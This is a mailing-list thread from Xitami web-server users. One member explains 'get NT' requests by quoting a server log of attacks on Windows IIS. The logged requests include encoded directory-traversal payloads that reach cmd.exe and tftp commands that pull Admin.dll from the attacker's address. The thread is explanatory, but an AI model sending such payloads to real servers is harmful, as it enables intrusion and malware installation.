[Xitami] Changing Port 80

[Johannes Prost]

thank's Alex.See that here sometimes too.

Johannes

Am 11 Feb 2005 um 18:44 hat Alex Barna geschrieben:

> Johannes Prost wrote:
> 
> > sorry guys, but what is an "get NT" type request ? Would some one be
> > willing to explain that to me in more detail ?
> > 
> > Thank you. Johannes..
> 
> Stuff like this in the Log & Error files. Note the RoadRunner IP address. 
> These are attempts to hack a windows server & just fill up the Xitami log file.
> 
> 65.25.137.217 - - [17/Feb/2002:13:37:48 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:37:56 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:04 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
> 1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:11 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -
> 1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:18 -0600] "GET 
> /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:26 -0600] "GET 
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:33 -0600] "GET 
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:40 -0600] "GET 
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
> HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:38:47 -0600] "GET 
> /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:39:13 -0600] "GET 
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:39:21 -0600] "GET 
> /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-
> i%2065.25.137.217%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:39:50 -0600] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 200 -1 
> "" ""
> 65.25.137.217 - - [17/Feb/2002:13:39:57 -0600] "GET 
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
> 65.25.137.217 - - [17/Feb/2002:13:40:04 -0600] "GET 
> /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-
> i%2065.25.137.217%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 200 -1 "" ""
> 
> Alex,
> 
> 
> 
> -- Xitami Users Mailing List -- For Xitami support To unsubscribe: 
> http://lists.xitami.org/mailman/listinfo/xitami